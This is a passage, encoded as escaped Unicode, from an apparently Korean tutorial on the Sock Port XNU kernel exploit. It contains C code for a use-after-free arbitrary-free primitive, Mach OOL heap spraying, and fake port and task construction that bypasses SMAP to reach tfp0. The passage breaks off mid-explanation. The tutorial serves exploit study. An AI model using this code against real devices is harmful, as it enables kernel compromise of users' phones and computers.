\uc0dd\uc131\ud55c\ub2e4.\n\uc774\ub54c \uc54c\uc544\ub46c\uc57c\ud560 \uc810\uc740 fd\uc758 \uc77d\uae30\/\uc4f0\uae30 \ubc29\uc2dd\uc778\ub370, <code>write<\/code>\ub97c \uc218\ud589\ud560 \ub54c\ub9c8\ub2e4 \ucee4\uc11c\uac00 \ub4a4\ub85c \uc774\ub3d9\ud558\uace0, <code>read<\/code>\ub97c \uc218\ud589\ud560 \ub54c\ub9c8\ub2e4 \ucee4\uc11c\uac00 \uc55e\uc73c\ub85c \uc774\ub3d9\ud55c\ub2e4.<\/p>\n<p>\uc5ec\uae30\uc11c\ub294 \uba3c\uc800 \ud55c \ubc88\uc758 \uade0\ud615 \uc788\ub294 \uc77d\uae30\/\uc4f0\uae30\ub97c \ud1b5\ud574 \ucee4\ub110\uc5d0 \ubc84\ud37c\ub97c \uc0dd\uc131\uc2dc\ud0a8 \ub4a4, \uc774\ud6c4\uc5d0 \uccab \ubc88\uc9f8 \ud3ec\ud2b8(\uc6b0\ub9ac\uc758 fake port)\ub97c \uc27d\uac8c \uc77d\uc5b4\uc62c \uc218 \uc788\ub3c4\ub85d 8\ubc14\uc774\ud2b8\ub97c \uc4f4\ub2e4.<\/p>\n<p>\uc8fc\uc694 \ucf54\ub4dc\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/\/ pipe\n\/\/ bsd\/kern\/sys_pipe.c:393\nint *\ncreate_pipes(void) {\n    \/\/ Allocate our initial array.\n    size_t capacity = 1;\n    int *pipefds = calloc(2 * capacity, sizeof(int));\n    \/\/ Create as many pipes as we can.\n    size_t count = 0;\n\n    \/\/ First create our pipe fds.\n    int fds[2] = { -1, -1 };\n    int error = pipe(fds);\n    \n    \/\/ Unfortunately pipe() seems to return success with invalid fds once we've\n    \/\/ exhausted the file limit. Check for this.\n    if (error != 0 || fds[0] &lt; 0 || fds[1] &lt; 0) {\n        pipe_close(fds);\n        exit(1);\n    }\n    \/\/ Mark the write-end as nonblocking.\n    \/\/set_nonblock(fds[1]);\n    \/\/ Store the fds.\n    pipefds[0] = fds[0];\n    pipefds[1] = fds[1];\n\n    \/\/ assert(count == capacity &amp;&amp; &quot;can't alloc enough pipe fds&quot;);\n    \/\/ Truncate the array to the smaller size.\n    \/\/ int *new_pipefds = realloc(pipefds, 2 * count * sizeof(int));\n    \/\/ assert(new_pipefds != NULL);\n    \/\/ Return the count and the array.\n    \/\/ *pipe_count = count;\n    return pipefds;\n}\n\n...\n\n\/\/ here we'll create a pair of pipes (4 file descriptors in total)\n\/\/ first pipe, used to overwrite a port pointer in a mach message\nsize_t pipebuf_size = 0x10000;\npipefds = create_pipes();\n\n\/\/ make the buffer of the first pipe 0x10000 bytes (this could be other sizes, but know that kernel does some calculations on how big this gets, i.e. when I made the buffer 20 bytes, it'd still go to kalloc.512\npipebuf = (uint8_t *)malloc(pipebuf_size);\nmemset(pipebuf, 0, pipebuf_size); \n\nwrite(pipefds[1], pipebuf, pipebuf_size); \/\/ do write() to allocate the buffer on the kernel\nread(pipefds[0], pipebuf, pipebuf_size); \/\/ do read() to reset buffer position\nwrite(pipefds[1], pipebuf, 8); \/\/ write 8 bytes so later we can read the first 8 bytes (used to verify if spraying worked)\n<\/code><\/pre>\n<p>task \ud3ec\ud2b8\uc640 fd \ud578\ub4e4\uc744 \uc774\uc6a9\ud558\uba74 pipe \ubc84\ud37c\uc758 \uc8fc\uc18c\ub97c \uc27d\uac8c \uc5bb\uc744 \uc218 \uc788\ub2e4.<\/p>\n<p>xnu \uc18c\uc2a4\ucf54\ub4dc\ub97c \ubcf4\uba74\uc11c ipc_port \uad6c\uc870\uccb4\ubd80\ud130 \ucc28\ub840\ub300\ub85c \uc811\uadfc\ub418\ub294 \ubc29\uc2dd\uc744 \uc774\ud574\ud558\uace0\n\uac01 \uad6c\uc870\uccb4\uc758 \uc624\ud504\uc14b \uac12\uc740 KDK \ud328\ud0a4\uc9c0\uc5d0 \ub0b4\uc7a5\ub41c \ucee4\ub110\uc744 lldb\uc5d0 \ubd99\uc5ec \ud655\uc778\ud558\uba74 \ub41c\ub2e4.<\/p>\n<p>\ucee4\ub110 \uc601\uc5ed\uc5d0 \uc788\ub294 Pipe \ubc84\ud37c \uc8fc\uc18c\ub97c \ud68d\ub4dd\ud558\ub294 \ubc29\ubc95\uc740 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<pre><code class=\"language-c\">\n    write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);\n    read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);\n\n#define rk64_check(addr) ({ uint64_t r; r = rk64_via_uaf(addr); if (!r) { usleep(100); r = rk64_via_uaf(addr); if (!r) { printf(&quot;[-] failed to read from '&quot;#addr&quot;'\\n&quot;);}}; r;})\n\n    uint64_t task = rk64_check(self_port_addr + 0x68);  \/\/p\/x offsetof(struct ipc_port, kdata.kobject)\n    uint64_t proc = rk64_check(task + 0x380);   \/\/p\/x offsetof(struct task, bsd_info)\n    uint64_t p_fd = rk64_check(proc + 0xe8);   \/\/ p\/x offsetof(struct proc, p_fd)\n    uint64_t fd_ofiles = rk64_check(p_fd + 0x0);    \/\/p\/x offsetof(struct filedesc, fd_ofiles)\n    \n    uint64_t fproc = rk64_check(fd_ofiles + pipefds[0] * 8);\n    uint64_t f_fglob = rk64_check(fproc + 0x8); \/\/p\/x offsetof(struct fileproc, f_fglob)\n    uint64_t fg_data = rk64_check(f_fglob + 0x38);  \/\/p\/x offsetof(struct fileglob, fg_data)\n    uint64_t pipe_buffer = rk64_check(fg_data + 0x10);  \/\/p\/x offsetof(struct pipebuf, buffer)\n    INFO(&quot;pipe buffer: 0x%llx\\n&quot;, pipe_buffer);\n<\/code><\/pre>\n<h3>\ud30c\uc774\ud504 \ubc84\ud37c\uc5d0 UAF\ud574\ubcf4\uae30<\/h3>\n<p>\uc6b0\ub9ac\uc758 \ucd5c\uc885 \ubaa9\ud45c\ub294 \ud558\ub098\uc758 port\ub97c \uc644\uc804\ud788 \uc81c\uc5b4\ud558\ub294 \uac83\uc774\ubbc0\ub85c, \uc2dc\uc2a4\ud15c\uc774 port\ub97c \uc6b0\ub9ac\uc758 \uc81c\uc5b4 \uac00\ub2a5\ud55c \uc601\uc5ed\uc778 pipe \ubc84\ud37c\uc5d0 \ud560\ub2f9\ud558\ub3c4\ub85d \ub9cc\ub4e4\uc5b4\uc57c \ud55c\ub2e4.<\/p>\n<p>\uc774\ub97c \uc704\ud574 Socket UAF\ub97c \uc774\uc6a9\ud574 pipe \ubc84\ud37c\ub97c \ud574\uc81c\uc2dc\ud0a8\ub4a4,\nMach OOL Message\ub97c \uc2a4\ud504\ub808\uc774\ud558\uc5ec \uc720\ud6a8\ud55c port\ub97c \ud574\ub2f9 \ubc84\ud37c\uc5d0 \ucc44\uc6cc \ub123\uc744 \uac83\uc774\ub2e4.<\/p>\n<p>\uc55e\uc120 \uae00\uc5d0\uc11c Socket UAF\ub97c \uc774\uc6a9\ud55c Kernel Read \uae30\ubc95\uc744 \uc124\uba85\ud588\ub294\ub370,\n\uc0ac\uc2e4 \uc774 \ubc29\ubc95\uc740 \uc784\uc758\uc758 \ucee4\ub110 \uc601\uc5ed \ud574\uc81c\ub97c \uad6c\ud604\ud558\ub294 \ub370\ub3c4 \uc0ac\uc6a9\ud560 \uc218 \uc788\ub2e4.<\/p>\n<p>read_20_via_uaf \ud568\uc218\uc640\uc758 \ucc28\uc774\uc810\uc740 \uc2a4\ud504\ub808\uc774\uac00 \uc131\uacf5\ud55c \ub4a4 \ub0b4\uc6a9\uc744 \uc77d\uc9c0 \uc54a\uace0, <code>ip6po_pktinfo<\/code>\uc5d0 \ubaa8\ub450 0\uc73c\ub85c \ucc44\uc6cc\uc9c4 \uad6c\uc870\uccb4\ub97c \uc368 \ub123\ub294\ub2e4\ub294 \uc810\uc774\ub2e4. \uc774\ub85c \uc778\ud574 <code>ip6po_pktinfo<\/code>\uac00 \uac00\ub9ac\ud0a4\ub294 \uc601\uc5ed\uc774 \ud574\uc81c\ub41c\ub2e4.<\/p>\n<p>\uc77c\ubc18\uc801\uc778 \uc774\ud574\ub300\ub85c\ub77c\uba74, <code>ip6po_pktinfo<\/code>\uac00 \uac00\ub9ac\ud0a4\ub294 \ubc84\ud37c\ub97c \ud574\uc81c\ud560 \ub54c \uadf8 \uae38\uc774\ub294 <code>ip6po_pktinfo<\/code> \uad6c\uc870\uccb4 \ud06c\uae30\uc5d0 \ub530\ub77c\uc57c\ud55c\ub2e4. \uadf8\ub7ec\ub098 \ucee4\ub110 \ucf54\ub4dc\ub97c \ubcf4\uba74, \uc5ec\uae30\uc11c\ub294 FREE \ud568\uc218\ub97c \uc0ac\uc6a9\ud574 zone \ud5e4\ub354\uc5d0 \uae30\ub85d\ub41c \uc0ac\uc774\uc988\ub97c \uc790\ub3d9\uc73c\ub85c \ucc38\uc870\ud558\uc5ec \ud574\uc81c \uae38\uc774\ub97c \uacb0\uc815\ud55c\ub2e4.\n\uc989, <code>ip6po_pktinfo<\/code>\uac00 \uac00\ub9ac\ud0a4\ub294 \uc601\uc5ed \uc804\uccb4\ub97c \uae30\uc900\uc73c\ub85c \ud574\uc81c\ub418\ubbc0\ub85c, \uc784\uc758 \ud06c\uae30 \uc601\uc5ed \ud574\uc81c\uc744 \ud574\uc81c\ud560 \uc218 \uc788\ub294 Free primitive\ub97c \uad6c\ud604\ud560 \uc218 \uc788\ub2e4. \ud575\uc2ec \ucee4\ub110 \ucf54\ub4dc\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4:<\/p>\n<pre><code class=\"language-c\">\/\/ bsd\/netinet6\/ip6_output.c:3233\nvoid ip6_clearpktopts(struct ip6_pktopts *pktopt, int optname) {\n    if (pktopt == NULL)\n    \treturn;\n    \n    if (optname == -1 || optname == IPV6_PKTINFO) {\n    \tif (pktopt-&gt;ip6po_pktinfo)\n    \t\tFREE(pktopt-&gt;ip6po_pktinfo, M_IP6OPT); \/\/ &lt;-- free\n    \tpktopt-&gt;ip6po_pktinfo = NULL;\n    }\n    \/\/ ...\n<\/code><\/pre>\n<p>FREE\ub294 <code>kfree_addr<\/code>\ub97c \uac10\uc2f8\ub294(wrapper) \ud568\uc218\uc774\uba70, <code>kfree_addr<\/code> \ub0b4\ubd80\uc5d0\ub294 \uc8fc\uc18c\ub97c \uae30\ubc18\uc73c\ub85c zone\uacfc size\ub97c \uc5bb\ub294 \ub85c\uc9c1\uc774 \ud3ec\ud568\ub418\uc5b4 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/\/ bsd\/sys\/malloc.h:289\n#define FREE(addr, type) \\\n\t_FREE((void *)addr, type)\n\n\/\/ bsd\/kern\/kern_malloc.c:624\nvoid\n_FREE(\n\tvoid\t\t*addr,\n\tint\t\ttype)\n{\n\tif (type &gt;= M_LAST)\n\t\tpanic(&quot;_free TYPE&quot;);\n\n\tif (!addr)\n\t\treturn; \/* correct (convenient bsd kernel legacy) *\/\n\n\tkfree_addr(addr);\n}\n\n\/\/ osfmk\/kern\/kalloc.c:537\nvm_size_t kfree_addr(void *addr) {\n    vm_map_t map;\n    vm_size_t size = 0;\n    kern_return_t ret;\n    zone_t z;\n    \n    size = zone_element_size(addr, &amp;z); \/\/\n    if (size) {\n    \tDTRACE_VM3(kfree, vm_size_t, -1, vm_size_t, z-&gt;elem_size, void*, addr);\n    \tzfree(z, addr);\n    \treturn size;\n    }\n    \/\/ ...\n<\/code><\/pre>\n<p>\uc774\uc81c \ud30c\uc774\ud504 \ubc84\ud37c\ub97c \ud574\uc81c\ud574\ubcf4\uc790.<\/p>\n<p>\uc704\uc5d0\uc11c \uc5b8\uae09\ud588\ub358 \ud504\ub9ac\ubbf8\ud2f0\ube0c\ub97c \uc774\uc6a9\ud558\uba74 Pipe \ubc84\ud37c\ub97c \uc190\uc27d\uac8c \ud574\uc81c\ud560 \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/\/ third primitive: free a kalloced object at an arbitrary address\nint free_via_uaf(uint64_t addr) {\n    \/\/ create a bunch of sockets\n    int sockets[128];\n    for (int i = 0; i &lt; 128; i++) {\n        sockets[i] = get_socket_with_dangling_options();\n    }\n    \n    \/\/ create a fake struct with our dangling port address as its pktinfo\n    struct ip6_pktopts *fake_opts = calloc(1, sizeof(struct ip6_pktopts));\n    fake_opts-&gt;ip6po_minmtu = 0x41424344; \/\/ give a number we can recognize\n    *(uint32_t*)((uint64_t)fake_opts + 164) = 0x41424344; \/\/ on iOS 10, offset is different\n    fake_opts-&gt;ip6po_pktinfo = (struct in6_pktinfo*)addr;\n    \n    bool found = false;\n    int found_at = -1;\n    \n    for (int i = 0; i &lt; 20; i++) { \/\/ iterate through the sockets to find if we overwrote one\n        spray_IOSurface((void *)fake_opts, sizeof(struct ip6_pktopts));\n        \n        for (int j = 0; j &lt; 128; j++) {\n            int minmtu = -1;\n            get_minmtu(sockets[j], &amp;minmtu);\n            if (minmtu == 0x41424344) { \/\/ found it!\n                found_at = j; \/\/ save its index\n                found = true;\n                break;\n            }\n        }\n        if (found) break;\n    }\n    \n    free(fake_opts);\n    \n    if (!found) {\n        printf(&quot;[-] failed to setup freeing primitive\\n&quot;);\n        return -1;\n    }\n    \n    for (int i = 0; i &lt; 128; i++) {\n        if (i != found_at) {\n            close(sockets[i]);\n        }\n    }\n    struct in6_pktinfo *buf = malloc(sizeof(struct in6_pktinfo));\n    memset(buf, 0, sizeof(struct in6_pktinfo));\n    \n    int ret = set_pktinfo(sockets[found_at], buf);\n    free(buf);\n    return ret;\n}\n<\/code><\/pre>\n<p>\ub2e4\uc74c\uc73c\ub85c Mach OOL Message\ub97c \uc2a4\ud504\ub808\uc774\ud55c\ub2e4.<\/p>\n<p>\ud569\ubc95\uc801\uc774\uace0 \uc81c\uc5b4 \uac00\ub2a5\ud55c <code>ipc_port<\/code>\ub97c \uc5bb\uae30 \uc704\ud574 Mach OOL(Message) \uba54\uc2dc\uc9c0\ub97c \uc774\uc6a9\ud55c \ud799 \uc2a4\ud504\ub808\uc774\ub97c \uc218\ud589\ud558\ub294\ub370, \uc774\ub54c <code>remote port<\/code>\ub97c \ubc18\ub4dc\uc2dc \uae30\ub85d\ud574\ub450\uc5b4\uc57c \ud55c\ub2e4.<\/p>\n<p>\uc774\ub294 \uc774\ud6c4 \uba54\uc2dc\uc9c0\ub97c \uc218\uc2e0\ud560 \ub54c \uc6b0\ub9ac\uac00 \uad50\uccb4\ud55c \ud3ec\ud2b8\uc758 \ud578\ub4e4\uc744 \ub2e4\uc2dc \ud68d\ub4dd\ud574\uc57c \ud558\uae30 \ub54c\ubb38\uc774\ub2e4.<\/p>\n<p>\uc5ec\uae30\uc11c\ub294 Pipe \ubc84\ud37c\uc640 \ub3d9\uc77c\ud55c \ud06c\uae30(0x10000)\uc758 \uba54\uc2dc\uc9c0\ub97c \uc0ac\uc6a9\ud558\uc5ec, \ud3ec\ud2b8 \uc8fc\uc18c\uac00 Pipe \ubc84\ud37c\uc5d0 \uc815\ud655\ud788 \ucc44\uc6cc\uc9c0\ub3c4\ub85d \ub9cc\ub4e0\ub2e4.<\/p>\n<p>\uadf8\ub807\ub2e4\uba74 \uc6b0\ub9ac\uac00 \uc2a4\ud504\ub808\uc774\ud558\ub294\ub370 \uc131\uacf5\ud588\ub294\uc9c0 \uc5b4\ub5bb\uac8c \ud655\uc778\ud560 \uc218 \uc788\uc744\uae4c?\n\uc6b0\uc120 \uc0ac\uc6a9\ud55c target port\uc758 \uc8fc\uc18c\ub97c \uad6c\ud55c \ub4a4, Pipe \ubc84\ud37c\uc5d0\uc11c 8\ubc14\uc774\ud2b8\ub97c \uc77d\uc5b4\uc624\uba74 \ub41c\ub2e4. (\uc774\uc804\uc5d0 8\ubc14\uc774\ud2b8\ub97c \ubbf8\ub9ac \uc368\ub450\uc5c8\uae30 \ub54c\ubb38\uc5d0, \uc5ec\uae30\uc11c \uc77d\ud788\ub294 \uac12\uc740 \uccab \ubc88\uc9f8 \ud3ec\ud2b8\uc758 \uc8fc\uc18c\uc77c \uac83\uc774\ub2e4.)<\/p>\n<p>\ub9cc\uc57d \uc2a4\ud504\ub808\uc774\ud558\ub294\ub370 \uc131\uacf5\ud588\ub2e4\uba74, target port \uc8fc\uc18c\uc640 Pipe \ubc84\ud37c\uc5d0\uc11c \uc77d\uc5b4\uc628 \uc8fc\uc18c\ub294 \uc77c\uce58\ud574\uc57c \ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/\/ create a new port, this one we'll use for tfp0\n    mach_port_t target = new_port();\n\n\/\/ reallocate it while filling it with a mach message containing send rights to our target port\n    mach_port_t p = MACH_PORT_NULL;\n    for (int i = 0; i &lt; 10000; i++) {\n        \n        \/\/ pipe is 0x10000 bytes so make 0x10000\/8 pointers and save result as we'll use later\n        p = fill_kalloc_with_port_pointer(target, 0x10000\/8, MACH_MSG_TYPE_COPY_SEND);\n        \n        \/\/ check if spraying worked by reading first 8 bytes\n        uint64_t addr;\n        read(pipefds[0], &amp;addr, 8);\n        if (addr == target_addr) { \/\/ if we see the address of our port, it worked\n            break;\n        }\n        write(pipefds[1], &amp;addr, 8); \/\/ reset buffer position\n        \n        mach_port_destroy(mach_task_self(), p); \/\/ spraying didn't work, so free port\n        p = MACH_PORT_NULL;\n    }\n<\/code><\/pre>\n<h3>fake port \ubc0f fake task \uc14b\uc5c5\ud558\uae30<\/h3>\n<p>\uc55e\uc11c Pipe Buffer\uc5d0 \ucc44\uc6cc \ub123\uc740 \uac83\uc740 \uc5ec\uc804\ud788 \uc0ac\uc6a9\uc790 \ubaa8\ub4dc\uc758 \ud3ec\ud2b8\uc77c \ubfd0\uc774\uba70, <code>tfp0<\/code> \uad8c\ud55c\uc774 \uc5c6\ub2e4.\n\uc6b0\ub9ac\ub294 \uc774 \ud3ec\ud2b8\ub97c \ubcc0\uc870\ud558\uc5ec <code>tfp0<\/code> \uad8c\ud55c\uc744 \uc5bb\uc5b4\uc57c \ud55c\ub2e4.<\/p>\n<p>\ud558\uc9c0\ub9cc SMAP\uc758 \uc874\uc7ac\ub85c \uc778\ud574, \uc6b0\ub9ac\uac00 \uc704\uc870\ud55c(fake) \ud3ec\ud2b8\uc640 fake task\ub294 \ucee4\ub110\uc5d0\uc11c \uc815\uc0c1\uc801\uc73c\ub85c \uc811\uadfc\ub418\uae30 \uc704\ud574 \ubc18\ub4dc\uc2dc pipe\ub97c \ud1b5\ud574 \ucee4\ub110 \ub0b4\ub85c \ubcf5\uc0ac\ub418\uc5b4\uc57c \ud55c\ub2e4. \ub530\ub77c\uc11c \uc0c8\ub85c\uc6b4 pipe\ub97c \ud558\ub098 \ub354 \uc0dd\uc131\ud55c\ub2e4.<\/p>\n<p>Sock Port \uc775\uc2a4\ud50c\ub85c\uc787\uc758 \uc18c\uc2a4\ucf54\ub4dc\ub97c \ubcf4\uba74 \uc774 \ubd80\ubd84\uc774 \ub9e4\uc6b0 \uc815\uad50\ud558\uac8c \uad6c\uc131\ub418\uc5b4 \uc788\ub294\ub370, \ucee4\ub110 \ub0b4\uc5d0 \ud3ec\ud2b8\uc640 \ud0dc\uc2a4\ud06c \uad6c\uc870\uccb4\ub97c \ub2f4\uc744 \uc218 \uc788\ub294 \uc5f0\uc18d\ub41c \uc601\uc5ed\uc744 \ud560\ub2f9\ud558\uace0, <code>port-&gt;task<\/code>\uac00 \uadf8 \ubc14\ub85c \uc606\uc758 task \uc601\uc5ed\uc744 \uac00\ub9ac\ud0a4\ub3c4\ub85d \uc124\uc815\ud55c\ub2e4.<\/p>\n<p>SMAP \ud658\uacbd\uc5d0\uc11c\ub294 \ucee4\ub110\uc774 \ucc38\uc870\ud558\ub294 \uc8fc\uc18c\uac00 userland\uc5d0 \uc18d\ud558\uba74 \uc548 \ub418\uae30 \ub54c\ubb38\uc5d0\n<code>task<\/code>\ub294 Pipe \ubc84\ud37c \ub0b4\uc758 \uacf5\uac04\uc744 \uac00\ub9ac\ud0a4\ub3c4\ub85d \ub9cc\ub4e0\ub2e4.<\/p>\n<p>\uc774\ub807\uac8c \ud558\uba74 \ud558\ub098\uc758 \uc5f0\uc18d\ub41c \uc601\uc5ed\uc73c\ub85c \ud3ec\ud2b8\uc640 \ud0dc\uc2a4\ud06c\ub97c \ub3d9\uc2dc\uc5d0 \uc81c\uc5b4\ud560 \uc218 \uc788\uac8c \ub418\uace0, SMAP\ub3c4 \uc6b0\ud68c\ud560 \uc218 \uc788\ub2e4.<\/p>\n<p>\ud575\uc2ec \ucf54\ub4dc\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/\/ second pipe, used for our fake port\n    int port_fds[2] = {-1, -1};\n    kern_return_t ret = pipe(port_fds);\n    if (ret) {\n        printf(&quot;[-] failed to create pipe\\n&quot;);\n        goto err;\n    }\n\n    \/\/ create fake port and fake task, put fake_task right after fakeport\n    kport_t *fakeport = malloc(sizeof(kport_t) + 0x600);\n    ktask_t *fake_task = (ktask_t *)((uint64_t)fakeport + sizeof(kport_t));\n    bzero((void *)fakeport, sizeof(kport_t) + 0x600);\n\n    fake_task-&gt;ref_count = 0xff;\n    \n    fakeport-&gt;ip_bits = IO_BITS_ACTIVE | IKOT_TASK;\n    fakeport-&gt;ip_references = 0xd00d;\n    fakeport-&gt;ip_lock.type = 0x11;\n    fakeport-&gt;ip_messages.port.receiver_name = 1;\n    fakeport-&gt;ip_messages.port.msgcount = 0;\n    fakeport-&gt;ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;\n    fakeport-&gt;ip_messages.port.waitq.flags = mach_port_waitq_flags();\n    fakeport-&gt;ip_srights = 99;\n    fakeport-&gt;ip_kobject = 0;\n    fakeport-&gt;ip_receiver = ipc_space_kernel;\n\n    \/\/SMAP\n    write(port_fds[1], (void *)fakeport, sizeof(kport_t) + 0x600);\n    read(port_fds[0], (void *)fakeport, sizeof(kport_t) + 0x600);\n    \n    ...\n    \n    \/\/ align ip_kobject at our fake task, so the address of fake port + sizeof(kport_t)\n    fakeport-&gt;ip_kobject = port_pipe_buffer + sizeof(kport_t);\n<\/code><\/pre>\n<p>\uc774\uc81c fake port\ub97c \uc0ac\uc6a9\ud558\uc5ec Pipe \ubc84\ud37c\uc5d0 \uc874\uc7ac\ud558\ub294 \uccab \ubc88\uc9f8 \uc815\uc0c1 \ud3ec\ud2b8\ub97c \uad50\uccb4\ud55c\ub2e4.<\/p>\n<p>\ub9c8\ucc2c\uac00\uc9c0\ub85c \uc8fc\uc758\ud560 \uc810\uc740, SMAP \ubaa8\ub4dc\uc5d0\uc11c\ub294 userland\uc758 fakeport \uc8fc\uc18c\uac00 \uc544\ub2cc port_pipe_buffer\uc758 \ucee4\ub110 \uc8fc\uc18c\ub97c \uc368\uc57c \ud55c\ub2e4\ub294 \uac83\uc774\ub2e4.<\/p>\n<p>\uc774 \uc2dc\uc810\uc5d0\uc11c \uc6b0\ub9ac\ub294 fakeport\ub97c \uc815\uc0c1\uc801\uc778 \ud3ec\ud2b8 \uc601\uc5ed\uc5d0 \uc704\uce58\uc2dc\ucf30\uace0, \ub2e4\uc2dc \ub9d0\ud574 ipc_port \ud558\ub098\ub97c \uc644\uc804\ud788 \uc81c\uc5b4\ud558\uac8c \ub41c \uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/\/ spraying worked, now the pipe buffer is filled with pointers to our target port\n\/\/ overwrite the first pointer with our second pipe buffer, which contains the fake port\n    write(pipefds[1], &amp;port_pipe_buffer, 8);\n<\/code><\/pre>\n<h3>Mach OOL \uba54\uc2dc\uc9c0 \uc218\uc2e0\ud558\uae30<\/h3>\n<p>\ud3ec\ud2b8 \ud578\ub4e4\uc740 rights \uc815\ubcf4\ub97c \ud3ec\ud568\ud558\uace0 \uc788\uae30 \ub54c\ubb38\uc5d0,\n\uc6b0\ub9ac\uac00 \uc218\ud589\ud55c \ubcc0\uc870\ub294 Pipe \ubc84\ud37c\uc5d0 \uc874\uc7ac\ud558\ub294 \uccab \ubc88\uc9f8 \ud3ec\ud2b8\uc758 \ud578\ub4e4\uc744 \ubcc0\uacbd\ud558\uac8c \ub41c\ub2e4.<\/p>\n<p>\ub530\ub77c\uc11c OOL \uba54\uc2dc\uc9c0\ub97c \uc218\uc2e0\ud558\uc5ec \uc774 \ud578\ub4e4\uc744 \ub2e4\uc2dc \ud68d\ub4dd\ud574\uc57c \ud55c\ub2e4.<\/p>\n<p>\uae30\uc5b5\ud558\uaca0\uc9c0\ub9cc, \uc774\uc804\uc5d0 remote port\ub97c \uae30\ub85d\ud574 \ub450\uc5c8\ub294\ub370,\n\uc774\ub97c \ud1b5\ud574 \uc6b0\ub9ac\uac00 \ubcf4\ub0c8\ub358 OOL \uba54\uc2dc\uc9c0\ub97c \uc218\uc2e0\ud558\uace0 \uc870\uc791\ub41c \ud3ec\ud2b8 \ud578\ub4e4\uc744 \ub2e4\uc2dc \uc77d\uc5b4\uc62c \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/\/ receive the message from fill_kalloc_with_port_pointers back, since that message contains a send right and we overwrote the pointer of the first port, we now get a send right to the fake port!\n    struct ool_msg *msg = malloc(0x1000);\n    ret = mach_msg(&amp;msg-&gt;hdr, MACH_RCV_MSG, 0, 0x1000, p, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);\n    if (ret) {\n        free(msg);\n        printf(&quot;[-] mach_msg() failed: %d (%s)\\n&quot;, ret, mach_error_string(ret));\n        goto err;\n    }\n    \n    mach_port_t *received_ports = msg-&gt;ool_ports.address;\n    mach_port_t our_port = received_ports[0]; \/\/ fake port!\n    free(msg);\n<\/code><\/pre>\n<p>\uc774\uc81c \ub354 \uc774\uc0c1 \uc774\uc804\uc758 target port \ud578\ub4e4\uc774 \uc544\ub2cc, fakeport\uc5d0 \ub300\uc751\ud558\ub294 \ud3ec\ud2b8 \ud578\ub4e4\uc744 \ud68d\ub4dd\ud558\uac8c \ub41c\ub2e4.<\/p>\n<p>\uc774\ub294 \ucee4\ub110\uc774 OOL \uba54\uc2dc\uc9c0\ub97c \uc0ac\uc6a9\uc790 \uacf5\uac04\uc73c\ub85c \ubcf5\uc0ac\ud560 \ub54c CAST_MACH_PORT_TO_NAME \ub9e4\ud06c\ub85c \ud568\uc218\ub97c \uc2e4\ud589\ud558\uc5ec \ubcc0\ud658\uc744 \uc218\ud589\ud558\uae30 \ub54c\ubb38\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/\/ osfmk\/mach\/port.h:155\n#define CAST_MACH_PORT_TO_NAME(x) ((mach_port_name_t)(uintptr_t)(x))\n<\/code><\/pre>\n<p>\ud574\ub2f9 \ub9e4\ud06c\ub85c\ub294 <code>ipc_port<\/code>\uc758 \ud5e4\ub354\uc778 <code>ipc_object<\/code>\uc758 \uc0c1\uc704 8\ubc14\uc774\ud2b8\ub97c \uc798\ub77c\ub0b4\uba70,\n\uc774\ub294 <code>ipc_object<\/code> \uad6c\uc870\uccb4\uc758 \uc55e 2\uac1c \uba64\ubc84\uc5d0 \ud574\ub2f9\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-c\">struct ipc_port {\n    struct ipc_object ip_object;\n    struct ipc_mqueue ip_messages; \n    \/\/ ...\n};\n\nstruct ipc_object {\n    ipc_object_bits_t io_bits; \/\/ 4B\n    ipc_object_refs_t io_references; \/\/ 4B\n    lck_spin_t\tio_lock_data;\n};\n<\/code><\/pre>\n<p>\ub530\ub77c\uc11c \ucd5c\uc885\uc801\uc73c\ub85c \ud3ec\ud2b8 \ud578\ub4e4\uc740 \uc2e4\uc81c\ub85c <code>ipc_port<\/code> \uad6c\uc870\uccb4 \ub0b4\uc758 <code>io_bits<\/code>\uc640 <code>io_references<\/code> \uac12\uc73c\ub85c \uad6c\uc131\ub41c\ub2e4.<\/p>\n<p>\uc774\uc81c <code>ipc_port<\/code>\uc5d0 \ub300\ud55c \uc644\uc804\ud55c \uc81c\uc5b4 \uad8c\ud55c\uacfc \uadf8 \ud578\ub4e4\uae4c\uc9c0 \ubaa8\ub450 \ud655\ubcf4\ud558\uc600\ub2e4.<\/p>\n<p>\ud558\uc9c0\ub9cc \uc774 <code>ipc_port<\/code>\ub294 <code>vm_map<\/code>\uc744 \uac00\uc9c0\uace0 \uc788\uc9c0 \uc54a\uae30 \ub54c\ubb38\uc5d0 \uc544\uc9c1\uae4c\uc9c0\ub294 \uc815\uc0c1\uc801\uc778 task \ud3ec\ud2b8\ub294 \uc544\ub2c8\ub2e4\u2026<\/p>\n<h3>pid_for_task \uc744 \uc774\uc6a9\ud55c \ucee4\ub110 \uc77d\uae30 \ud504\ub9ac\ubbf8\ud2f0\ube0c<\/h3>\n<p><code>pid_for_task<\/code> \ud568\uc218\ub294 \ud558\ub098\uc758 \ud504\ub85c\uc138\uc2a4 \ud3ec\ud2b8\ub97c \uc778\uc790\ub85c \ubc1b\uc544 \ud574\ub2f9 \ud504\ub85c\uc138\uc2a4\uc758 PID\ub97c \uc870\ud68c\ud558\uc5ec \ubc18\ud658\ud55c\ub2e4.<\/p>\n<p>\uc774 \ud568\uc218\uc758 \uad6c\ud604 \uc6d0\ub9ac\ub294 \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<pre><code class=\"language-c\">int pid = get_ipc_port(port)-&gt;task-&gt;bsd_info-&gt;p_pid;\n<\/code><\/pre>\n<p>\uadf8\ub9ac\uace0 \uad6c\uc870\uccb4 \uba64\ubc84 \uc811\uadfc\uc758 \ubcf8\uc9c8\uc740 